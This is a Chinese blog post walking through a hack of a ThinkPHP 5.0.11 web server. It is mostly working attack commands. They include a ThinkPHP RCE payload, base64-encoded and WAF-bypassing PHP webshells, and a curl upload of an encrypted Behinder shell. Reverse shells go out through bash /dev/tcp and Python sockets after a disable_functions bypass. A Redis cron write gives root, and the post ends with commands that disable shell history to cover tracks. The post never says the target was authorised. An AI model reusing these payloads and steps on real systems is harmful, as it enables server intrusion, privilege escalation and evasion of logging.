标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2470]   作者: hudie 发表于: [2019-09-12]

本文共 [336] 位读者顶过

thinkphp5的命令执行

[出自:jiwo.org]

打开网站,简单粗暴报错发现是thinkphp v5.0.11,版本不高,直接拿前一段时间的rce试下


在尝试的过程中发现有waf,但是漏洞好像没修,查看phpinfo(),发现是php是5.6.31版本,但是禁用了很多函数:


?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()



直接写一句话木马(写这么多杂乱的符号是因为base64之后若出现+/=会影响生成的文件内容)

1 s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=a

2 ssert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_dec

3 ode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7))

  MTIzNDUucGhw: 12345.php

  MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7 : 12<?php eval(@$_POST['a']);


会发现虽然文件创建了,但是内容没有写进去,被waf给拦截了。然后又尝试写入冰蝎的加密过后的马,但是有长度限制,没有成功。


##### 拿到webshell


后来大佬给了一个可以绕过waf的马。

1 s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=a

2 ssert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_dec

3 ode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7))

4 ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;;

成功写入,但就算连接成功,也是没有返回数据。


这时候尝试用上面的马,将冰蝎的马写进去(这样可以绕一下长度的限制)

1

curl -d "x=@file_put_contents('qwer.php',base64_decode(PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJ F9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9));" https://xxxxxxxxxxxx/12584.php?a=assert


成功写入,拿到一个webshell。



使用冰蝎自带的命令执行终端,并没有数据返回。这时候开始考虑怎么更进一步的利用这个漏洞。


#### 进一步利用


刚开始的phpinfo()没有禁用mail和putenv,那么可以尝试工具bypass_disablefunc,将php文件和so文件上传到服务器,但是调用的时候发现全是乱码


那尝试反弹下shell(记得将命令编码一下)

1

/bypass_disablefunc.php?cmd=bash+-i+>%26+/dev/tcp/xxxxxx/8989+0>%261&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so

成功拿到shell,但是依旧和冰蝎的终端一样没有数据返回


然后就很懵了,这没返回怎么玩啊,后来大佬提醒说换成其他的一句话试下,就试了下python的一句话反弹shell

1

https://xxxxxxxx/bypass_disablefunc.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxx",8989));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27&outpath=/tmp/xx&sopath=./bypass_disablefunc_x64.so


就比较开心的是成功拿到了shell,至于为什么,大概可能bash有问题吧。后来经大佬提醒应该是bash命令中最后的&被当成连接符了,所以拿到的数据没有返回。


#####  利用redis提权


查看内核版本,发现版本有点高,而且centos内核的提权好像还没exp。但是比较棒的是查看开放端口发现有6379端口,那就可以试下用redis提权了。



但是尝试用redis-cli的时候发现没有此命令


没有redis-cli怎么连接到redis啊。继续问大佬,大佬说你看下nc有没,emm没有,那你自己安装一个静态的吧。


安装一个静态的ncat,并连接到6379

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat./ncat 127.0.0.1 6379

因为开放的有22端口,可以使用redis中的ssh_keygen方式来提权,但是发现没有权限修改目录



那就再尝试反弹个shell


1 config set dir /var/spool/cron/

2 config set dbfilename root

3 set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxxxxx/1389 0>&1\n\n\n"

4 save

成功拿到服务器root权限



将哑shell变成交互式shell


但是拿到的shell不能与外网交互。正好看到大佬发的记一次授权网络攻防演练,根据大佬教程,成功拿到交互式shell。


在哑 shell 中执行:

1 python -c 'import pty; pty.spawn("/bin/bash")' 在 VPS 中执行: 1 $ stty raw -echo 2 $ fg 回到哑 shell 中,在哑 shell 中键入 Ctrl-l,执行: 1 $ reset
2 $ export SHELL=bash 4 $ export TERM=xterm-256color 5 $ stty rows 54 columns 104

补充一个小点 登录ssh后不记录history

1 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG

2 export HISTFILE=/dev/null

3 export HISTSIZE=0

4 export HISTFILESIZE=0




评论

暂无
发表评论
 返回顶部 
热度(336)
 关注微信